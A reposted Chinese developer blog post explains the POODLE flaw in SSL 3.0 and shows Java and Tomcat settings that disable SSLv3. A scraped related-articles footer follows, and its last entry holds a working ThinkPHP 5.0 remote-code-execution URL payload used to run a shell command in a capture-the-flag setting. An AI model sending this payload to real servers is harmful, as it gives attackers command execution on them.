SSL 3.0曝出Poodle漏洞的解决方案-----开发者篇(转自:http://blog.csdn.net/lyq8479/article/details/40709175)

SSL 3.0曝出高危漏洞

2014年10月15日,Google研究人员公布SSL 3.0协议存在一个非常严重的漏洞,该漏洞可被黑客用于截取浏览器与服务器之间进行传输的加密数据,如网银账号、邮箱账号、个人隐私等等。SSL 3.0的漏洞允许攻击者发起降级攻击,即欺骗浏览器说“服务器不支持更安全的安全传输层(TLS)协议”,然后强制其转向使用SSL 3.0,在强制浏览器采用SSL 3.0与服务器进行通讯之后,黑客就可以利用中间人攻击来解密HTTPs的cookies,Google将其称之为POODLE攻击,若受到POODLE攻击,所有在网络上传输的数据将不再加密。

笔者也是在微信公众平台发出“公众平台调整SSL安全策略,请开发者注意升级”的通知时,才开始关注SSL3.0漏洞,才开始意识到问题的严重性。通知的主要内容:“近一段时间HTTPS加密协议SSL曝出高危漏洞,可能导致网络中传输的数据被黑客监听,对用户信息、网络账号密码等安全构成威胁。为保证用户信息以及通信安全,微信公众平台将关闭掉SSLv2、SSLv3版本支持,不再支持部分使用SSLv2、 SSLv3或更低版本的客户端调用。请仍在使用这些版本的开发者于11月30日前尽快修复升级。”

知识普及1:SSL协议要点

SSL(Secure Sockets Layer 安全套接层)是一种基于Web应用的安全通信协议,最早由Netscape(网景)公司提出。SSL介于TCP协议和应用层协议之间,主要作用就是将HTTP、FTP等应用层的数据进行加密然后依托可靠的TCP协议在互联网上传输到目的地,其中最典型的应用就是https。

SSL提供3个基本的安全服务

1)身份合法性:数据发送方和接收方要确认彼此身份,要确保各自的身份不会被冒充。

2)数据机密性:所有传输的数据都进行加密,并且要确保即使数据被截获也无法破解。

3)数据完整性:确保收到的数据与发送方发出的数据一致,没有被篡改。

SSL协议主要采用的数据加密算法

1)非对称加密算法:数据加密和解密使用不同的密钥,如RSA公钥加密算法。优点是安全级别高,很难被破解;缺点是加密解密的速度慢,因此只适用于小量数据的加密。SSL协议采用非对称加密算法实现数字签名,验证数据发送方(或接收方)的身份,同时也用非对称加密算法交换密钥(用于数据加密的对称加密算法的密钥,以及用于数据完整性验证的MAC算法)。

2)对称加密算法:数据加密和解密使用同一个密钥,如DES、3DES、RC4等都是对称加密算法。优点是加解密速度快,适用于大数据量的加密,但安全性较差。SSL协议采用对称加密算法对传输的数据进行加密。

3)MAC算法:Message Authentication Codes,即消息认证码算法,MAC含有密钥散列函数算法,兼容了MD和SHA算法的特性,并在此基础上加入了密钥。SSL协议采用MAC算法来检验消息的完整性。

知识普及2:SSL协议的版本

目前在用的SSL协议主要有5个版本,分别是SSL2.0、SSL3.0、TLS1.0、TLS1.1和TLS1.2,这里的TLS(Transport Layer Security,传输层安全)协议是SSL协议的升级版。
在SSL协议曝出Poodle漏洞后,微信公众平台将取消对SSLv2、SSLv3两个版本的支持,浏览器及其他采用SSL协议的平台也会逐渐取消对SSLv2、SSLv3的支持,目前只建议使用TLSv1.0、TLSv1.1和TLSv1.2三个版本。

如何查看所采用的SSL协议?

在Java开发中,在SSL服务端或客户端代码之前设置系统属性“javax.net.debug”为“ssl,handshake”就能够将SSL通信日志输出到控制台。开启SSL通信日志的代码如下:

[java] view plaincopy

  1. System.setProperty("javax.net.debug", "ssl,handshake");

下面是笔者测试调用微信公众平台接口获取access_token所产生的SSL通信日志的一部分。从日志中可以看到,这次通信过程一共用到了SSLv2和TLSv1两种协议。其中,SSLv2协议用于客户端向服务器发送hello消息,而TLSv1协议用于握手、交换密钥和数据加密。

[plain] view plaincopy

  1. *** ClientHello, TLSv1
  2. ...
  3. main, WRITE: TLSv1 Handshake, length = 75
  4. main, WRITE: SSLv2 client hello message, length = 101
  5. main, READ: TLSv1 Handshake, length = 81
  6. *** ServerHello, TLSv1
  7. ...
  8. main, READ: TLSv1 Handshake, length = 3747
  9. ...
  10. main, WRITE: TLSv1 Change Cipher Spec, length = 1
  11. ...
  12. main, WRITE: TLSv1 Handshake, length = 48
  13. main, READ: TLSv1 Change Cipher Spec, length = 1
  14. main, READ: TLSv1 Handshake, length = 48
  15. ...
  16. main, WRITE: TLSv1 Application Data, length = 336
  17. main, READ: TLSv1 Application Data, length = 336

如何设置SSL客户端采用哪种协议?

1、在Java中,如果采用 SSLSocket 或 SSLEngine 实现SSL客户端,可以通过 setEnabledProtocols(String[] protocols) 方法设置SSL客户端能够使用的协议。示例代码片断如下:

[java] view plaincopy

  1. SocketFactory sf = SSLSocketFactory.getDefault();
  2. SSLSocket socket = (SSLSocket) sf.createSocket("localhost", 8443);
  3. // 设置SSL客户端使用的协议
  4. String[] protocols = { "TLSv1" };
  5. socket.setEnabledProtocols(protocols);

2、在Java中,如果采用 HttpsURLConnection 实现SSL客户端,可以在 HttpsURLConnection 的相关代码之前通过系统属性“https.protocols”来指定SSL客户端使用的协议。代码如下:

[java] view plaincopy

  1. System.setProperty("https.protocols", "TLSv1");

如何设置SSL服务端支持哪些协议?

1、在Java中,如果采用 SSLSocket 或 SSLEngine 实现SSL服务端,同样也是使用 setEnabledProtocols(String[] protocols) 方法设置SSL服务端支持的协议。

2、在Java中,如果是通过Tomcat对外提供https服务,可以通过设置%tomcat%/conf/server.xml中的sslProtocol属性指定SSL服务端所支持的协议。示例代码如下:

[html] view plaincopy

  1. <Connector
  2. port="8443"
  3. protocol="HTTP/1.1"
  4. SSLEnabled="true"
  5. maxThreads="150"
  6. scheme="https"
  7. secure="true"
  8. clientAuth="false"
  9. sslProtocol="TLS" />

sslProtocol属性的设置说明:

1)如果设置setProtocol="TLSv1",那么服务端将支持SSLv3和TLSv1;

2)如果设置setProtocol="TLSv1.1",那么服务端将支持SSLv3、TLSv1和TLSv1.1;

3)如果设置setProtocol="TLSv1.2",那么服务端将支持SSLv3、TLSv1、TLSv1.1和TLSv1.2。

如果服务端不支持SSLv3,只支持TLSv1、TLSv1.1和TLSv1.2,又该如何设置呢?这时需要设置另外一个属性sslEnabledProtocols,示例代码如下:

[html] view plaincopy

  1. <Connector
  2. port="8443"
  3. protocol="HTTP/1.1"
  4. SSLEnabled="true"
  5. maxThreads="150"
  6. scheme="https"
  7. secure="true"
  8. clientAuth="false"
  9. sslEnabledProtocols="TLSv1,TLSv1.1,TLSv1.2" />

如果读者采用其他Web服务器对外提供https服务,例如:Apache、WebLogic、WebSphere等,也都有类似的属性设置服务端所支持的SSL协议,笔者就不在此赘述了。相信读完本篇文章,开发人员应该能够轻松应对SSL 3.0 Poodle漏洞,同时,也应该清楚公众平台调整SSL安全策略后如何修改自己的程序代码。

时间: 2024-10-12 23:59:49

SSL 3.0曝出Poodle漏洞的解决方案-----开发者篇(转自:http://blog.csdn.net/lyq8479/article/details/40709175)的相关文章

[055] SSL 3.0曝出Poodle漏洞的解决方案-----开发者篇

SSL 3.0曝出高危漏洞 2014年10月15日,Google研究人员公布SSL 3.0协议存在一个非常严重的漏洞,该漏洞可被黑客用于截取浏览器与服务器之间进行传输的加密数据,如网银账号.邮箱账号.个人隐私等等.SSL 3.0的漏洞允许攻击者发起降级攻击,即欺骗浏览器说"服务器不支持更安全的安全传输层(TLS)协议",然后强制其转向使用SSL 3.0,在强制浏览器采用SSL 3.0与服务器进行通讯之后,黑客就可以利用中间人攻击来解密HTTPs的cookies,Google将其称之为P

[054] SSL 3.0曝出Poodle漏洞的解决方案-----网民篇

SSL 3.0曝出高危险漏洞 2014年10月15日,Google研究人员公布SSL 3.0协议存在一个非常严重的漏洞,更让人不安的是几乎所有的浏览器都支持SSL 3.0协议.SSL 3.0的漏洞可被黑客用于截取浏览器与服务器之间进行传输的加密数据,如网银账号.支付宝账号.个人隐私等等,后果的严重性相信不用我多说. SSL 3.0的漏洞允许攻击者发起降级攻击,即欺骗浏览器说服务器不支持更安全的安全传输层(TLS)协议,然后强制其转向使用SSL 3.0.在强制浏览器采用SSL 3.0与服务器进行通

[055] SSL 3.0曝出Poodle漏洞的解决方案

SSL 3.0曝出高危漏洞 2014年10月15日,Google研究人员公布SSL 3.0协议存在一个非常严重的漏洞,该漏洞可被黑客用于截取浏览器与服务器之间进行传输的加密数据,如网银账号.邮箱账号.个人隐私等等.SSL 3.0的漏洞允许攻击者发起降级攻击,即欺骗浏览器说“服务器不支持更安全的安全传输层(TLS)协议”,然后强制其转向使用SSL 3.0,在强制浏览器采用SSL 3.0与服务器进行通讯之后,黑客就可以利用中间人攻击来解密HTTPs的cookies,Google将其称之为POODLE

[055] SSL 3.0曝出Poodle漏洞的解决方式-----开发人员篇

SSL 3.0曝出高危漏洞 2014年10月15日,Google研究人员发布SSL 3.0协议存在一个非常严重的漏洞,该漏洞可被黑客用于截取浏览器与server之间进行传输的加密数据,如网银账号.邮箱账号.个人隐私等等.SSL 3.0的漏洞同意攻击者发起降级攻击,即欺骗浏览器说"server不支持更安全的安全传输层(TLS)协议",然后强制其转向使用SSL 3.0,在强制浏览器採用SSL 3.0与server进行通讯之后,黑客就能够利用中间人攻击来解密HTTPs的cookies,Goo

SSL 3.1曝出Poodle漏洞的解决方案-----开发

http://i2.feixin.10086.cn/pages/99985/1340156359 http://i2.feixin.10086.cn/pages/99985/1340157193 http://i2.feixin.10086.cn/pages/99985/1340158056 http://i2.feixin.10086.cn/pages/99985/1340158884 http://i2.feixin.10086.cn/pages/99985/1340159710 http:

http://blog.csdn.net/elvis_lfc/article/details/52220885 :Jmeter使用SSL(HTTPS协议)

Jmeter是apache一款开源.小巧的性能测试工具,平时测试web http协议经常使用,其实jmeter同样支持ssl.方法如下: 需要装有目标网站证书的密钥库,即filename.store(文件名随意).这个文件里包含目标网站的证书和自己的密码,这个东西需要我们自己生成,生成方法参见:CloseableHttpClient加载证书来访问https网站 将生成好的filename.store放到随意目录中(比如/home/victor/filename.store).修改jmeter配置

开源软件Xen曝出安全漏洞,这是linux作死的节奏?

先是ssh心跳漏洞,再来bash漏洞,现在再来xen漏洞,linux日子不好过了.下一次又是什么漏洞?云服务器看来悬了. 其实windows本身就是漏洞百出,海康威视摄像头不是都被黑客控制了吗?但是大家还是用得好好的,损失就损失吧,总比没有操作系统用更好. 开源软件Xen曝出安全漏洞:多家云计算服务暂停 2015年03月11日18:38 新浪科技 新浪科技讯 3月11日晚间消息,由于开源软件Xen进行更新以修补发现的安全漏洞,最近多家云计算服务面临短暂停机. 近日,开源软件Xen发出高危漏洞警告

开源软件Xen曝出安全漏洞:多家云计算服务暂停

开源软件Xen曝出安全漏洞:多家云计算服务暂停 新浪网 新浪科技讯3月11日晚间消息,由于开源软件Xen进行更新以修补发现的安全漏洞,最近多家云计算服务面临短暂停机. 近日,开源软件Xen发出高危漏洞 ... IT时代周刊 苹果推出开源医学研究框架ResearchKit InfoQ: 时刻关注企业软件开发领域的变化与创新 苹果推出用于医学和健康研究的开源框架ResearchKit,帮助医生和科学家更经常地从使用iPhone App的参与者那里收集到更准确的数据. 医学研究人员 ... FreeP

ThinkPHP 5.0 版本存在getshell漏洞 php_rce

查找flag:http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22 payload:http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&